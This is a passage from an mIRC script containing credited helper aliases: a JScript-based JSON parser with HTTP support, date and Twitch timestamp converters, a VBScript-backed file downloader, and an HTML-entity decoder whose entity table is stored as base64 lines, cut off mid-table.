  2874.     if (I isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent 1 }
  2875.     if (D isincs %Switches) && ($hget(SReject/JSONForMirc, LogIndent) > 0) { hdec -mu1 SReject/JSONForMirc LogIndent 1 }
  2876.   }
  2877. }
  2878. #SReject/JSONForMirc/Log end
  2879. alias -l jfm_log noop
  2880. alias -l jfm_SaveDebug {
  2881.   if ($isid) {
  2882.     if ($window(@SReject/JSONForMirc/Log)) && ($line(@SReject/JSONForMirc/Log, 0)) { return $true }
  2883.     return $false
  2884.   }
  2885.   var %File $sfile($envvar(USERPROFILE) $+ \Documents\JSONForMirc.log, JSONForMirc - Debug window, Save)
  2886.   if (%File) && (!$isfile(%File) || $input(Are you sure you want to overwrite $nopath(%File) $+ ?, qysa, @SReject/JSONForMirc/Log, Overwrite)) { savebuf @SReject/JSONForMirc/Log $qt(%File) }
  2887. }
  2888. alias -l jfm_badd { bset -t $1 $calc(1 + $bvar($1, 0)) $2- }
  2889. alias -l jfm_jscript {
  2890.   jfm_badd $1 !function(){Array.prototype.forEach=function(c){for(var s=this,i=0;i<s.length;i++)c.call(s,s[i],i)};Array.prototype.find=function(c){for(var s=this,i=0;i<s.length;i+=1)if(c.call(s,s[i]))return s[i]};I=['MSXML2.SERVERXMLHTTP.6.0','MSXML2.SERVERXMLHTTP.3.0','MSXML2.SERVERXMLHTTP'].find(function(x){try{return new ActiveXObject(x),x}catch(e){}});function A(o){if(o===null)return 'null';return Object.prototype.toString.call(o).match(/^\[object ([^\]]+)\]$/)[1].toLowerCase()}function B(o){var k=[],i;for(i in o)if(C(o,i))k.push(i);return k}
  2891.   jfm_badd $1 function C(o,k){return Object.prototype.hasOwnProperty.call(o,k)}
  2892.   jfm_badd $1 function D(s){if(s._state!=='done'||s._error||!s._parse)throw new Error('NOT_D');return s}
  2893.   jfm_badd $1 function E(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='http_pending')throw new Error('HTTP_NOT_PENDING');return s._http}
  2894.   jfm_badd $1 function F(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='done')throw new Error('HTTP_PENDING');return s._http}
  2895.   jfm_badd $1 function G(v){var t=A(v),r='[';if(v===undefined||t==='function')return;if(v===null)return'null';if(t==='number')return isFinite(v)?v.toString():'null';if(t==='boolean')return v.toString();if(t==='string')return'"'+v.replace(/[\\"\u0000-\u001F\u2028\u2029]/g,function(c){return{'"':'\\"','\\':'\\\\','\b':'\\b','\f':'\\f','\n':'\\n','\r':'\\r','\t':'\\t'}[c]||'\\u'+(c.charCodeAt(0)+0x10000).toString(16).substr(1)})+'"';if(t==='array'){v.forEach(function(i,k){i=G(i);if(i)r+=(k?',':'')+i});return r+']'}r=[];B(v).forEach(function(k,o){o=G(v[k]);if(o)r.push(G(k)+':'+o)});return'{'+r.join(',')+'}'}
  2896.   jfm_badd $1 function H(p,j,s){s=this;if(p===undefined)p={};if(j===undefined){s._isChild=!1;s._json=p._json||{}}else{s._isChild=!0;s._json=j}s._state=p._state||'init';s._type=p._type||'text';s._parse=p._parse===!1?!1:!0;s._error=p._error||!1;s._input=p._input;s._http=p._http||{method:'GET',url:'',headers:[]}}
  2897.   jfm_badd $1 H.prototype={
  2898.   jfm_badd $1 state:function(){return this._state},
  2899.   jfm_badd $1 error:function(){return this._error.message},inputType:function(){return this._type},
  2900.   jfm_badd $1 input:function(){return this._input||null},
  2901.   jfm_badd $1 httpParse:function(){return this._parse},
  2902.   jfm_badd $1 httpSetMethod:function(m){E(this).method=m},
  2903.   jfm_badd $1 httpSetHeader:function(h,v){E(this).headers.push([h,v])},
  2904.   jfm_badd $1 httpSetData:function(d){E(this).data=d},
  2905.   jfm_badd $1 httpStatus:function(){return F(this).response.status},
  2906.   jfm_badd $1 httpStatusText:function(){return F(this).response.statusText},
  2907.   jfm_badd $1 httpHeaders:function(){return F(this).response.getAllResponseHeaders()},
  2908.   jfm_badd $1 httpHeader:function(h){return F(this).response.getResponseHeader(h)},
  2909.   jfm_badd $1 httpBody:function(){return F(this).response.responseBody},
  2910.   jfm_badd $1 httpHead:function (s){return s=this,s.httpStatus()+' '+s.httpStatusText()+'\r\n'+s.httpHeaders()},
  2911.   jfm_badd $1 httpResponse:function(){return this.httpHead()+'\r\n\r\n'+this._http.response.reponseText},
  2912.   jfm_badd $1 parse:function(){var s=this,d=!0,x=!1,y=!1,r,j;s.parse=function(){throw new Error('PARSE_NOT_PENDING')};s._state='done';try{if(s._type==='http'){try{if(s._http.data==undefined){d=!1;s._http.data=null}r=new ActiveXObject(I);s._http.response=r;r.open(s._http.method,s._http.url,!1);s._http.headers.forEach(function(h){r.setRequestHeader(h[0],h[1]);if(h[0].toLowerCase()==="content-type")x=!0;if(h[0].toLowerCase()==="content-length")y=!0});if(d){if(!x)r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(!y){if(s._http.data==null)r.setRequestHeader("Content-Length",0);else r.setRequestHeader("Content-Length",String(s._http.data).length)}}r.send(s._http.data);if(s._parse===!1)return s;s._input=r.responseText}catch(e){e.message="HTTP: "+e.message;throw e}}j=String(s._input).replace(/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,function(c){return'\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4)});if(!/^[\],:{}\s]*$/.test(j.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,'')))throw new Error("INVALID_JSON");try{j=eval('('+j+')')}catch(e){throw new Error("INVALID_JSON")}s._json={path:[],value:j};return s}catch(e){s._error=e.message;throw e}},
  2913.   jfm_badd $1 walk:function(){var s=D(this),r=s._json.value,a=Array.prototype.slice.call(arguments),f=a.shift(),p=s._json.path.slice(0),t,m,i,k;while(a.length){t=A(r);m=String(a.shift());if(t!=='array'&&t!=='object')throw new Error('ILLEGAL_REFERENCE');if(f&&/^[~=]./.test(m)){i='~'===m.charAt(0);m=m.replace(/^[~=]\x20?/,'');if(t=='object'&&i){k=B(r);if(/^\d+$/.test(m)){m=parseInt(m,10);if(m>=k.length)throw new Error('FUZZY_INDEX_NOT_FOUND');m=k[m]}else if(!C(r,m)){m=m.toLowerCase();m=k.find(function(k){return m===k.toLowerCase()});if(m==undefined)throw new Error('FUZZY_MEMBER_NOT_FOUND')}}}if(!C(r,m))throw new Error('REFERENCE_NOT_FOUND');p.push(m);r=r[m]}return new H(s,{path:p,value:r})},
  2914.   jfm_badd $1 forEach:function(){var s=D(this),a=Array.prototype.slice.call(arguments),r=[],d=a[0]?Infinity:1;a.shift();function _(i,p,j){j=new H(s,{path:p,value:i});if(d!==Infinity&&a.length>1)j=j.walk.apply(j,a.slice(0));r.push(j)}function Z(i,p,c,t){t=A(i);p=p.slice(0);if(c>d)_(i,p);else if(t==='object')B(i).forEach(function(k,z){z=p.slice(0);z.push(k);Z(i[k],z,c+1)});else if(t==='array')i.forEach(function(v,k){z=p.slice(0);z.push(k);Z(v,z,c+1)});else _(i,p)}if(s.type()!=='object'&&s.type()!=='array')throw new Error('ILLEGAL_REFERENCE');Z(s._json.value,s._json.path.slice(0),1);return r},
  2915.   jfm_badd $1 type:function(){return A(D(this)._json.value)},
  2916.   jfm_badd $1 isContainer:function(){return(this.type()==="object"||this.type()==="array")},
  2917.   jfm_badd $1 pathLength:function(){return D(this)._json.path.length},
  2918.   jfm_badd $1 pathAtIndex:function(i){return D(this)._json.path[i]},
  2919.   jfm_badd $1 path:function(){var r='';D(this)._json.path.forEach(function(i){r+=(r?' ':'')+String(i).replace(/([\\ ])/g,function(c){return' '=== c?'\s':'\\'})});return r},
  2920.   jfm_badd $1 length:function(){var s=D(this),t=s.type();if(t==='string'||t==='array')return s._json.value.length;if(t==='object')return B(s._json.value).length;throw new Error('INVALID_TYPE')},
  2921.   jfm_badd $1 value:function(){return D(this)._json.value},
  2922.   jfm_badd $1 string:function(){return G(D(this)._json.value)},
  2923.   jfm_badd $1 debug:function(){var s=this,r={state:s._state,input:s._input,type:s._type,error:s._error,parse:s._parse,http:{url:s._http.url,method:s._http.method,headers:s._http.headers,data:s._http.data},isChild:s._isChild,json:s._json};if(s._type==="http"&&s._state==="done")r.http.response={status:s._http.response.status,statusText:s._http.response.statusText,headers:(s._http.response.getAllResponseHeaders()).split(/[\r\n]+/g),responseText:s._http.response.responseText};return G(r)}};
  2924.   jfm_badd $1 JSONCreate=function(t,i,p,s){s=new H();s._state='init';s._type=(t||'text').toLowerCase();s._parse=p===!1?!1:!0;if(s._type==='http'){if(!I){s._error='HTTP_NOT_FOUND';throw new Error('HTTP_NOT_FOUND')}s._state='http_pending';s._http.url=i}else{s._state='parse_pending';s._input=i}return s}}()
  2925. }
  2926.  
  2927. ; --
  2928.  
  2929. /*
  2930.  
  2931.     # CheckDateFormat alias coded by SReject - (thanks for support) #
  2932.  
  2933. */
  2934.  
  2935. alias wmm_cdate {
  2936.   if (!$1) || (!$isid) { return 0 }
  2937.   if ($regex($1,/^(?:[^a-zA-Z0-9]*(?:oo|yy|[zmdhHnstT])+)+$/gS)) { return 1 }
  2938.   return 0
  2939.   return
  2940.   :error | wmm_werror $scriptline $error | reseterror
  2941. }
  2942.  
  2943. ; --
  2944.  
  2945. /*
  2946.     # ConvertTwitchTime alias coded by SReject - (thanks for support) #
  2947.  
  2948.     ## Official Code Link: http://pastebin.com/gTrSLpJc ##
  2949. */
  2950.  
  2951. alias wmm_convertdate {
  2952.   if (!$1) || (!$isid) { return 0 }
  2953.   if ($regex($1-, /^(\d\d(?:\d\d)?)-(\d\d)-(\d\d)T(\d\d)\:(\d\d)\:(\d\d)(?:(?:\.\d\d\d)?Z|([-+])(\d\d):(\d+)|$)/i)) {
  2954.     var %m = $gettok(January February March April May June July August September October November December, $regml(2), 32)
  2955.     var %d = $ord($base($regml(3),10,10))
  2956.     var %o = +0
  2957.     if ($regml(0) > 6) && ($regml(7) isin -+) { var %o = $regml(7) $+ $calc($regml(8) * 3600 + $regml(9)) }
  2958.     var %t = $calc($ctime(%m %d $regml(1) $regml(4) $+ : $+ $regml(5) $+ : $+ $regml(6)) - %o)
  2959.     if ($asctime(zz) !== 0 && $regex($v1, /^([+-])(\d\d)(\d+)$/)) { var %o = $regml(1) $+ $calc($regml(2) * 3600 + $regml(3)) | var %t = $calc(%t + %o ) }
  2960.     return %t
  2961.   }
  2962.   else { return 0 }
  2963.   return
  2964.   :error | wmm_werror $scriptline $error | reseterror
  2965. }
  2966.  
  2967. ; ---
  2968.  
  2969. /*
  2970.     # Download alias coded by SReject - (thanks for support) #
  2971.  
  2972.     ## Official Code Link: http://hawkee.com/snippet/9318 ##
  2973. */
  2974.  
  2975. alias wmm_download {
  2976.   if ($isid) || (!$1) || (!$2) || (!$3) { return }
  2977.   if ($1 == -c) {
  2978.     var %callback = $gettok($1-,2,34)
  2979.     var %url = $gettok($gettok($1-,3,34),1,32)
  2980.     var %file = $gettok($1-,4,34)
  2981.     var %com = $gettok($gettok($1-,5,34),1,32)
  2982.     var %r = $iif($comerr,1,$com(%com).result)
  2983.  
  2984.     if ($com(%com)) { .comclose %com }
  2985.     if (%r == -1) { %callback 1 S_OK %url $qt(%file) }
  2986.   }
  2987.   elseif ($1 !== -c) {
  2988.     var %callback = $gettok($1-,1,34)
  2989.     var %url = $gettok($gettok($1-,2,34),1,32)
  2990.     var %file = $gettok($1-,3-,34)
  2991.     var %com = wmm_download $+ $wmm_random $+ .vbs
  2992.     var %s = $wmm_temp $+ %com
  2993.     var %n = $left(%com,-4)
  2994.  
  2995.     .fopen -ox %n $qt(%s)
  2996.  
  2997.     .fwrite -n %n On Error Resume Next
  2998.     .fwrite -n %n Set args = WScript.Arguments
  2999.     .fwrite -n %n Url = $qt(%url)
  3000.     .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  3001.     .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  3002.     .fwrite -n %n xHttp.Open "GET", Url, False
  3003.     .fwrite -n %n xHttp.Send
  3004.     .fwrite -n %n with bStrm
  3005.     .fwrite -n %n    .Type = 1
  3006.     .fwrite -n %n    .Mode = 3
  3007.     .fwrite -n %n    .Open
  3008.     .fwrite -n %n    .Write xHttp.ResponseBody
  3009.     .fwrite -n %n    .SavetoFile $qt(%file) $+ , 2
  3010.     .fwrite -n %n    .Close
  3011.     .fwrite -n %n End with
  3012.     .fwrite -n %n Err.Clear
  3013.     .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile WScript.ScriptFullName, True
  3014.     .fwrite -n %n WScript.Quit(-1)
  3015.  
  3016.     .fclose %n
  3017.  
  3018.     .comopen %com WScript.Shell
  3019.     if ($lines(%s) !== 18 || $comerr || !$comcall(%com,wmm_download -c $qt(%callback) %url $qt(%file),run,1,bstr*,$qt(%s),uint,1,bool,true)) { goto error }
  3020.     return
  3021.   }
  3022.   :error
  3023.   if ($error) { wmm_werror $scriptline $error | reseterror }
  3024.   if ($com(%com)) { .comclose %com }
  3025. }
  3026.  
  3027. ; ---
  3028.  
  3029. /*
  3030.     # HTML2Ascii script by rockcavera - (thanks for support) #
  3031.  
  3032.     ## Official Code Link: http://hawkee.com/snippet/17963 ##
  3033. */
  3034.  
  3035. alias wmm_html2asc {
  3036.   if (!$isid) { return }
  3037.   if (!$hget(WMM_HTML)) {
  3038.     var %f = $wmm_temp $+ wmm_html.db
  3039.     if (!$exists(%f)) && (!$wmm_html_db) { return }
  3040.     hmake WMM_HTML 2798
  3041.     hload WMM_HTML $qt(%f)
  3042.   }
  3043.   return $regsubex(nam,$regsubex(dec,$regsubex(hex,$1,/&\x23x([a-f\d]+);/gi,$chr($base(\t,16,10))),/&\x23(\d+);/g,$chr(\t)),/&(\w+);/g,$iif($hget(WMM_HTML,$wmm_escapeht(\t)),$v1,&\t;))
  3044.   :error | wmm_werror $scriptline $error | reseterror
  3045. }
  3046.  
  3047. alias -l wmm_escapeht {
  3048.   if (!$isid) { return }
  3049.   return $lower($regsubex(esc,$1,/([A-Z])/g,:\t))
  3050. }
  3051.  
  3052. alias -l wmm_html_db {
  3053.   set -l %c bset -t &db $!calc(1 + $!bvar(&db,0))
  3054.   [ [ %c ] ] Ymlnb3RpbWVzDQriqIINCjpnc2NyDQrtkqINCjpwaQ0KzqANCjpjZnINCuKErQ0KOmVxdWFsDQriqbUNCjpvb3BmDQrtlYYNCjpvbWVnYQ0KzqkNCjpiZ3INCs6SDQo6Y2hpDQrOpw0KOmhhY2VrDQrLhw0KOmJmcg0K7ZSFDQo6ZGVsDQriiIcNCjpiY3kNCtCRDQo6ZnNjcg0K4oSxDQo6b21hY3INCsWMDQo6aWFjZ3INCs6KDQo6YWdyDQrOkQ0KOmlkaWdyDQrOqg0KOnJlDQrihJwNCmIuOnVwc2kNCu2avA0KOmFmcg0K7ZSEDQo6ZG90DQrCqA0KOmV1bWwNCsOLDQo6bm9wZg0K4oSVDQo6YWN5DQrQkA0KOmljaXJjDQrDjg0Kc2VhcnJvdw0K4oaYDQo6YW5kDQriqZMNCjpicmV2ZQ0Ky5gNCjpkc3Ryb2sNCsSQDQo6c2MNCuKqvA0KOmNhcA0K4ouSDQo6bHNoDQrihrANCjpyaWdodDpkb3duOnZlY3Rvcg0K4oeCDQpuOnJpZ2h0YXJyb3cNCuKHjw0KOmVzY3INCuKEsA0KOmdncg0KzpMNCjpvdmVyOmJhcg0K4oC+DQo6aWFjdXRlDQrDjQ0KOnhpDQrOng0KOmdmcg0K7ZSKDQo6bW9wZg0K7ZWEDQo6bGFwbGFjZXRyZg0K4oSSDQo6Z2N5DQrQkw0KYmJya3RicmsNCuKOtg0KYmxhY2tsb3plbmdlDQrip6sNCjpmZnINCu2UiQ0KOmZjeQ0K0KQNCjpkb3duOnRlZQ0K4oqkDQo6ZHNjcg0K7ZKfDQo6ZWdyDQrOlQ0KOmVmcg0K7ZSIDQo6bG9wZg0K7ZWDDQo6cHINCuKquw0KOmVjeQ0K0K0NCjplc2ltDQriqbMNCjpoY2lyYw0KxKQNCjpyaWdodDp2ZWN0b3INCuKHgA0KOmRncg0KzpQNCjpsZWZ0OnZlY3Rvcg0K4oa8DQo6ZGZyDQrtlIcNCmxtb3VzdGFjaGUNCuKOsA0KOmRjeQ0K0JQNCjpsYW5nDQrin6oNCmRvdGVxZG90DQriiZENCjpjc2NyDQrtkp4NCjprZ3INCs6aDQo6Z2cNCuKLmQ0KOm51DQrOnQ0KOmtmcg0K7ZSODQo6a29wZg0K7ZWCDQo6bm90DQriq6wNCjpsZXNzOmZ1bGw6ZXF1YWwNCuKJpg0KOmtjeQ0K0JoNCjpsdA0K4omqDQo6b3INCuKplA0KOmN1cA0K4ouTDQo6aGF0DQpeDQo6amZyDQrtlI0NCjpqY3kNCtCZDQo6bXUNCs6cDQo6YnNjcg0K4oSsDQo6aWdyDQrOmQ0KOmNyb3NzDQriqK8NCjpuZWdhdGl2ZTp0aGluOnNwYWNlDQrigIsNCjpkb3duOnRlZTphcnJvdw0K4oanDQo6YXVtbA0Kw4QNCjppZnINCuKEkQ0KOmpvcGYNCu2VgQ0KOmljeQ0K0JgNCjpsb25nOmxlZnQ6cmlnaHQ6YXJyb3cNCuKftw0KOmV0YQ0KzpcNCjpoZnINCuKEjA0KcGx1c2Npcg0K4qiiDQpjaXJjbGVkZGFzaA0K4oqdDQpyb3RpbWVzDQriqLUNCjphc2NyDQrtkpwNCnRoaWNrc2ltDQriiLwNCjpvZ3INCs6fDQo6Z3QNCuKJqw0KOmlkb3QNCsSwDQo6aW9wZg0K7ZWADQo6bGFycg0K4oaeDQo6b2ZyDQrtlJINCjpvY3kNCtCeDQo6bmdyDQrOnQ0KOmtjZWRpbA0KxLYNCjptYXANCuKkhQ0KOm5mcg0K7ZSRDQo6aW0NCuKEkQ0KOm5jeQ0K0J0NCjptZ3INCs6cDQo6ZmlsbGVkOnNtYWxsOnNxdWFyZQ0K4pe8DQpudHJpYW5nbGVyaWdodGVxDQrii60NCjpob3BmDQrihI0NCjptZnINCu2UkA0KOm5vdDp2ZXJ0aWNhbDpiYXINCuKIpA0KOmpjaXJjDQrEtA0KOm1j
  3055.   [ [ %c ] ] eQ0K0JwNCmRvd25hcnJvdw0K4oaTDQo6aW50DQriiKwNCjpsbA0K4ouYDQo6bm90Om5lc3RlZDpncmVhdGVyOmdyZWF0ZXINCuKqosy4DQo6bGdyDQrOmw0KOmlvdGENCs6ZDQo6cmlnaHQ6ZG91YmxlOmJyYWNrZXQNCuKfpw0KOmxmcg0K7ZSPDQpzcXN1YnNldA0K4oqPDQo6YXJpbmcNCsOFDQo6bGN5DQrQmw0KOmZvcjphbGwNCuKIgA0KOm9zY3INCu2Sqg0KOnRhYg0KCQ0KOnNncg0KzqMNCmNpcmNsZWRjaXJjDQriipoNCjpjb250b3VyOmludGVncmFsDQriiK4NCjpnZG90DQrEoA0KOmdvcGYNCu2Uvg0KOmxtaWRvdA0KxL8NCjpzZnINCu2Ulg0KOnNjeQ0K0KENCjpyZ3INCs6hDQpzcXN1YnNldGVxDQriipENCnRpbWVzYmFyDQriqLENCjpiYXJ2DQriq6cNCjpyZnINCuKEnA0KOnJjeQ0K0KANCjpyaG8NCs6hDQo6dmVlDQrii4ENCjpuc2NyDQrtkqkNCjpwaGkNCs6mDQo6Zm9wZg0K7ZS9DQo6cWZyDQrtlJQNCjpsb3dlcjpsZWZ0OmFycm93DQrihpkNCjpwZ3INCs6gDQo6YmV0YQ0KzpINCmV4cGVjdGF0aW9uDQrihLANCjpwZnINCu2Ukw0KOnBjeQ0K0J8NCmFuZ21zZGFoDQripq8NCjptc2NyDQrihLMNCjplbXB0eTpzbWFsbDpzcXVhcmUNCuKXuw0KOmVkb3QNCsSWDQo6ZW9wZg0K7ZS8DQo6d2ZyDQrtlJoNCjphdGlsZGUNCsODDQphbmdtc2RhYg0K4qapDQo6dDpoOm86cjpuDQrDng0KOnZmcg0K7ZSZDQphbmdtc2RhYw0K4qaqDQo6dGF1DQrOpA0KOnZjeQ0K0JINCnJlYWxpbmUNCuKEmw0KOmxzY3INCuKEkg0KOnVncg0KzqUNCmFuZ21zZGFhDQripqgNCjprYXBwYQ0KzpoNCjpvdmVyOmJyYWNlDQrij54NCjpzcXVhcmU6aW50ZXJzZWN0aW9uDQriipMNCmFuZ21zZGFmDQripq0NCjpkb3BmDQrtlLsNCjpkb3duOmFycm93OmJhcg0K4qSTDQo6b3VtbA0Kw5YNCjp1ZnINCu2UmA0KYW5nbXNkYWcNCuKmrg0KOnVjeQ0K0KMNCmFuZ21zZGFkDQripqsNCjp0Z3INCs6kDQphbmdtc2RhZQ0K4qasDQo6dGZyDQrtlJcNCjpsb25nbGVmdGFycm93DQrin7gNCjpleGlzdHMNCuKIgw0KOnRjeQ0K0KINCjprc2NyDQrtkqYNCjpjZG90DQrEig0KOmNvcGYNCuKEgg0KOmJ1bXBlcQ0K4omODQpjYXBicmN1cA0K4qmJDQo6aW9nb24NCsSuDQo6emdyDQrOlg0KOm5vdDpzcXVhcmU6c3VwZXJzZXQNCuKKkMy4DQo6c3VwDQrii5ENCjp6ZnINCuKEqA0KOnpjeQ0K0JcNCjppbWFjcg0KxKoNCjpqc2NyDQrtkqUNCjpvYWNncg0KzowNCjpib3BmDQrtlLkNCjppdW1sDQrDjw0KOnlmcg0K7ZScDQo6b2NpcmMNCsOUDQo6eWN5DQrQqw0KOnhncg0Kzp4NCjpvZ3JhdmUNCsOSDQo6aW50ZWdyYWwNCuKIqw0KOnhmcg0K7ZSbDQo6aXNjcg0K4oSQDQo6b21pY3Jvbg0Kzp8NCjphb3BmDQrtlLgNCjpkYXJyDQrihqENCjpkaWFjcml0aWNhbDpkb3VibGU6YWN1dGUNCsudDQo6aW1hZ2luYXJ5OmkNCuKFiA0KOnN1Yg0K4ouQDQo6cnNoDQrihrENCjpoc2NyDQrihIsNCjpsb25ncmlnaHRhcnJvdw0K4p+5DQpmYWxsaW5nZG90c2VxDQriiZINCjpzdW0NCuKIkQ0K
  3056.   [ [ %c ] ] OmltcGxpZXMNCuKHkg0KOnBzaQ0KzqgNCjp3c2NyDQrtkrINCjpkYXNodg0K4qukDQpsb25ncmlnaHRhcnJvdw0K4p+2DQo6Y2lyY2xlOnBsdXMNCuKKlQ0KcGx1c3NpbQ0K4qimDQo6dnNjcg0K7ZKxDQo6YWFjZ3INCs6GDQpzdXBuZQ0K4oqLDQo6dXVtbA0Kw5wNCjphY2lyYw0Kw4INCjppdWtjeQ0K0IYNCm11bHRpbWFwDQriirgNCnByc2ltDQriib4NCnVwdXBhcnJvd3MNCuKHiA0KOnNxcnQNCuKImg0KOnpldGENCs6WDQpzemxpZw0Kw58NCjpsZWZ0OnRlZQ0K4oqjDQo6dXNjcg0K7ZKwDQp1dWFycg0K4oeIDQo6bmNlZGlsDQrFhQ0KbnN1cHNldGVxDQriiokNCnNxc3VwDQriipANCjpzaG9ydDpyaWdodDphcnJvdw0K4oaSDQo6dHNjcg0K7ZKvDQp0cmlzYg0K4qeNDQo6ZG91YmxlOnVwOmFycm93DQrih5ENCm1lYXN1cmVkYW5nbGUNCuKIoQ0KeGxhcnINCuKftQ0Kc3RybnMNCsKvDQo6bGNhcm9uDQrEvQ0KOnNzY3INCu2Srg0KOmFscGhhDQrOkQ0KcnNxdW8NCuKAmQ0KdHJhZGUNCuKEog0KdXBsdXMNCuKKjg0Kb3RpbWVzYXMNCuKotg0KOnN1cGVyc2V0DQriioMNCnBsdXN0d28NCuKopw0KOmVvZ29uDQrEmA0KZXFzbGFudGxlc3MNCuKqlQ0KcnRyaWYNCuKWuA0Kc3FzdWINCuKKjw0KeGR0cmkNCuKWvQ0KOnVwc2kNCs+SDQpydHJpZQ0K4oq1DQo6ZW1hY3INCsSSDQo6cnNjcg0K4oSbDQpwbHVzYWNpcg0K4qijDQpzY246ZQ0K4qq2DQo6ZG90OmRvdA0K4oOcDQo6emRvdA0KxbsNCjp6b3BmDQrihKQNCnhvZG90DQriqIANCjpjY2lyYw0KxIgNCnVyY29ybmVyDQrijJ0NCjppZ3JhdmUNCsOMDQo6cTp1Om86dA0KIg0Kc3FzdXBzZXQNCuKKkA0Kc2hvcnRwYXJhbGxlbA0K4oilDQpsb3RpbWVzDQriqLQNCnRzaGN5DQrRmw0KOnFzY3INCu2SrA0KYm94OmQ6cg0K4pWUDQo6bGFjdXRlDQrEuQ0KOnJldmVyc2U6ZWxlbWVudA0K4oiLDQo6eW9wZg0K7ZWQDQp1dGRvdA0K4ouwDQo6cHNjcg0K7ZKrDQo6c3Rhcg0K4ouGDQo6bGFtYmRhDQrOmw0KOnhvcGYNCu2Vjw0KeGhhcnINCuKftw0KOmp1a2N5DQrQhA0KOmw6dA0KPA0KdHdpeHQNCuKJrA0KYWMNCuKIvg0KOm9kYmxhYw0KxZANCjpkb3VibGU6bG9uZzpyaWdodDphcnJvdw0K4p+5DQpnbA0K4om3DQo6b3ZlcjpicmFja2V0DQrijrQNCjpyYXJyDQrihqANCjp3b3BmDQrtlY4NCmJveDpkOmwNCuKVlw0KYWYNCuKBoQ0KZWwNCuKqmQ0KaXQNCuKBog0KdXJpbmcNCsWvDQo6dmJhcg0K4qurDQo6ZWFjZ3INCs6IDQpnZw0K4omrDQpudQ0Kzr0NCjpjbG9ja3dpc2U6Y29udG91cjppbnRlZ3JhbA0K4oiyDQo6bm90Om5lc3RlZDpsZXNzOmxlc3MNCuKqocy4DQptcA0K4oiTDQo6dm9wZg0K7ZWNDQpib3g6aDpkDQrilaYNCnJyYXJyDQrih4kNCjplY2lyYw0Kw4oNCmdlDQriiaUNCm5lYXJyb3cNCuKGlw0KdmFyc3Vwc2V0bmVxDQriiovvuIANCmRkDQrihYYNCmx0DQo8DQpvcg0K4oioDQplZw0K4qqaDQpjaGVja21hcmsNCuKckw0KdXBzaWgNCs+SDQplZQ0K4oWHDQptdQ0KzrwNCmljDQri
  3057.   [ [ %c ] ] gaMNCjpvYWN1dGUNCsOTDQpzdWJuZQ0K4oqKDQphcA0K4omIDQo6dW9wZg0K7ZWMDQp5Y2lyYw0KxbcNCmxsDQriiaoNCm5pDQriiIsNCnZydHJpDQriirMNCjpsY2VkaWwNCsS7DQpzcWN1cA0K4oqUDQo6Z2FtbWENCs6TDQo6ZXBzaWxvbg0KzpUNCm5lDQriiaANCmd0DQo+DQo6dG9wZg0K7ZWLDQo6bWVsbGludHJmDQrihLMNCnNyYXJyDQrihpINCmlpDQrihYgNCmJveDpoOnUNCuKVqQ0KaW4NCuKIiA0KbGUNCuKJpA0KOmxlZnRyaWdodGFycm93DQrih5QNCmxnDQriibYNCnN1YnNldGVxDQriioYNCjpuY2Fyb24NCsWHDQo6Z3JlYXRlcjpzbGFudDplcXVhbA0K4qm+DQo6c29wZg0K7ZWKDQo6cnVsZTpkZWxheWVkDQrip7QNCnhjaXJjDQril68NCjphb2dvbg0KxIQNCmIudGhldGFzDQrtm4kNCnNjDQriibsNCmFuZHNsb3BlDQriqZgNCnF1ZXN0DQo/DQpiLnRoZXRhdg0K7ZudDQo6YW1hY3INCsSADQo6Y29sb24NCuKItw0KOnJpZ2h0OmRvd246dmVjdG9yOmJhcg0K4qWVDQo6enNjcg0K7ZK1DQpwaQ0Kz4ANCjpyb3BmDQrihJ0NCjp5dW1sDQrFuA0KdHJpYW5nbGVsZWZ0DQril4MNCjpnY2lyYw0KxJwNCmR3YW5nbGUNCuKmpg0KOmFzc2lnbg0K4omUDQo6Zzp0DQo+DQpib3g6dTpyDQrilZoNCm52cjphcnINCuKkgw0KcG0NCsKxDQp0cmlhbmdsZXJpZ2h0DQrilrkNCmFzeW1wZXENCuKJjQ0KOm5vdDpzdWNjZWVkcw0K4oqBDQpzcWNhcA0K4oqTDQp2cHJvcA0K4oidDQo6cmFuZw0K4p+rDQo6ZDpkDQrihYUNCjp5c2NyDQrtkrQNCjpkZWx0YQ0KzpQNCjpuYWN1dGUNCsWDDQpwcg0K4om6DQo6cW9wZg0K4oSaDQpwcmltZQ0K4oCyDQo6dmVydA0K4oCWDQpubGVmdHJpZ2h0YXJyb3cNCuKGrg0KOnJpZ2h0OmNlaWxpbmcNCuKMiQ0KdXRyaWYNCuKWtA0KOnhzY3INCu2Ssw0KYm94OnY6cg0K4pWgDQo6bm90OmV4aXN0cw0K4oiEDQp4aQ0Kzr4NCjpvcGVuOmN1cmx5OnF1b3RlDQrigJgNCjpwb3BmDQrihJkNCjp1YXJyDQrihp8NCmJveDp2OmwNCuKVow0KcHJvZnN1cmYNCuKMkw0KcHJjdWUNCuKJvA0KcngNCuKEng0Kd3INCuKJgA0Kd3ANCuKEmA0KYm94OnY6aA0K4pWsDQpzdGFyZg0K4piFDQpiaWd3ZWRnZQ0K4ouADQpsOmUNCuKJpg0KcHJuYXANCuKquQ0Kc3dhcnINCuKGmQ0KOnVwOmFycm93OmRvd246YXJyb3cNCuKHhQ0KdXJ0cmkNCuKXuQ0KYm94OnU6bA0K4pWdDQpoYXJyY2lyDQripYgNCnNoYXJwDQrima8NCnVkaGFyDQripa4NCjpsZWZ0YXJyb3cNCuKHkA0Kc2JxdW8NCuKAmg0KdWRhcnINCuKHhQ0KOnNxdWFyZTpzdWJzZXQ6ZXF1YWwNCuKKkQ0KOnljaXJjDQrFtg0Kbm90aW46ZQ0K4ou5zLgNCndlZGdlDQriiKcNCnJoYXJkDQrih4ENCjpsc3Ryb2sNCsWBDQpyYXJyYg0K4oelDQo6Z